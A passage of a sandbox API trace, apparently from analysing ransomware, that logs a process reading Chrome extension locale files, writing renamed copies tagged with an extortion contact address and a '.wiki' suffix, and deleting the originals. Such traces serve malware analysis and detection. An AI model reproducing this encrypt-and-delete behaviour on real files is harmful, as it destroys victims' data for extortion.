HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString=".zip") returned 4 [0175.695] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".rar") returned 4 [0175.695] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".bz2") returned 4 [0175.695] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".7z") returned 3 [0175.695] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString=".dbf") returned 4 [0175.695] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString=".1cd") returned 4 [0175.695] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString=".jpg") returned 4 [0175.696] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.696] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.696] lstrlenW (lpString="messages.json") returned 13 [0175.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.696] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=193) returned 1 [0175.696] CloseHandle (hObject=0x19c) returned 1 [0175.696] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json")) returned 0x2020 [0175.696] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.697] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.697] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.697] GetLastError () returned 0x0 [0175.697] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc1, lpOverlapped=0x0) returned 1 [0175.698] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0175.699] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.699] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.699] SetEndOfFile (hFile=0x2dc) returned 1 [0175.699] CloseHandle (hObject=0x2dc) returned 1 [0175.700] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.700] SetEndOfFile (hFile=0x19c) returned 1 [0175.700] CloseHandle (hObject=0x19c) returned 1 [0175.700] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.701] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json")) returned 1 [0175.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.701] lstrlenW (lpString=".doc") returned 4 [0175.701] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".docx") returned 5 [0175.701] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.701] lstrlenW (lpString=".pdf") returned 4 [0175.701] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".xls") returned 4 [0175.701] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".xlsx") returned 5 [0175.701] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.701] lstrlenW (lpString=".ppt") returned 4 [0175.701] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.701] lstrlenW (lpString=".zip") returned 4 [0175.701] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".rar") returned 4 [0175.701] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".bz2") returned 4 [0175.701] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.701] lstrlenW (lpString=".7z") returned 3 [0175.701] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString=".dbf") returned 4 [0175.702] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString=".1cd") returned 4 [0175.702] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString=".jpg") returned 4 [0175.702] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString=".doc") returned 4 [0175.702] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.702] lstrlenW (lpString=".docx") returned 5 [0175.702] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.702] lstrlenW (lpString=".pdf") returned 4 [0175.702] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.702] lstrlenW (lpString=".xls") returned 4 [0175.702] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.702] lstrlenW (lpString=".xlsx") returned 5 [0175.702] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.702] lstrlenW (lpString=".ppt") returned 4 [0175.702] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.702] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.702] lstrlenW (lpString=".zip") returned 4 [0175.702] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.702] lstrlenW (lpString=".rar") returned 4 [0175.702] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.702] lstrlenW (lpString=".bz2") returned 4 [0175.703] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.703] lstrlenW (lpString=".7z") returned 3 [0175.703] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.703] lstrlenW (lpString=".dbf") returned 4 [0175.703] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.703] lstrlenW (lpString=".1cd") returned 4 [0175.703] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.703] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 151 [0175.703] lstrlenW (lpString=".jpg") returned 4 [0175.703] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.703] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.703] lstrlenW (lpString="messages.json") returned 13 [0175.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.704] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=298) returned 1 [0175.704] CloseHandle (hObject=0x19c) returned 1 [0175.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json")) returned 0x2020 [0175.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.704] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.704] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.704] GetLastError () returned 0x0 [0175.704] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x12a, lpOverlapped=0x0) returned 1 [0175.706] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x130, lpOverlapped=0x0) returned 1 [0175.707] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.707] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.707] SetEndOfFile (hFile=0x2dc) returned 1 [0175.707] CloseHandle (hObject=0x2dc) returned 1 [0175.707] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.707] SetEndOfFile (hFile=0x19c) returned 1 [0175.708] CloseHandle (hObject=0x19c) returned 1 [0175.708] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.708] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json")) returned 1 [0175.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0175.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0175.709] lstrlenW (lpString=".doc") returned 4 [0175.709] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.709] lstrlenW (lpString=".docx") returned 5 [0175.709] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.709] lstrlenW (lpString=".pdf") returned 4 [0175.709] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.709] lstrlenW (lpString=".xls") returned 4 [0175.709] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.709] lstrlenW (lpString=".xlsx") returned 5 [0175.709] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.709] lstrlenW (lpString=".ppt") returned 4 [0175.709] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0175.709] lstrlenW (lpString=".zip") returned 4 [0175.709] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.709] lstrlenW (lpString=".rar") returned 4 [0175.709] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.709] lstrlenW (lpString=".bz2") returned 4 [0175.709] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.519] lstrlenW (lpString=".7z") returned 3 [0176.519] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.519] lstrlenW (lpString=".dbf") returned 4 [0176.519] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.519] lstrlenW (lpString=".1cd") returned 4 [0176.519] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.519] lstrlenW (lpString=".jpg") returned 4 [0176.519] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.519] lstrlenW (lpString=".doc") returned 4 [0176.519] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.519] lstrlenW (lpString=".docx") returned 5 [0176.519] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.519] lstrlenW (lpString=".pdf") returned 4 [0176.519] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.519] lstrlenW (lpString=".xls") returned 4 [0176.519] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.519] lstrlenW (lpString=".xlsx") returned 5 [0176.519] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.520] lstrlenW (lpString=".ppt") returned 4 [0176.520] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.520] lstrlenW (lpString=".zip") returned 4 [0176.520] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.520] lstrlenW (lpString=".rar") returned 4 [0176.520] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.520] lstrlenW (lpString=".bz2") returned 4 [0176.520] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.520] lstrlenW (lpString=".7z") returned 3 [0176.520] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.520] lstrlenW (lpString=".dbf") returned 4 [0176.520] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.520] lstrlenW (lpString=".1cd") returned 4 [0176.520] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 151 [0176.520] lstrlenW (lpString=".jpg") returned 4 [0176.520] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.520] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.520] lstrlenW (lpString="messages.json") returned 13 [0176.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.521] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=212) returned 1 [0176.521] CloseHandle (hObject=0x19c) returned 1 [0176.521] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json")) returned 0x2020 [0176.521] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 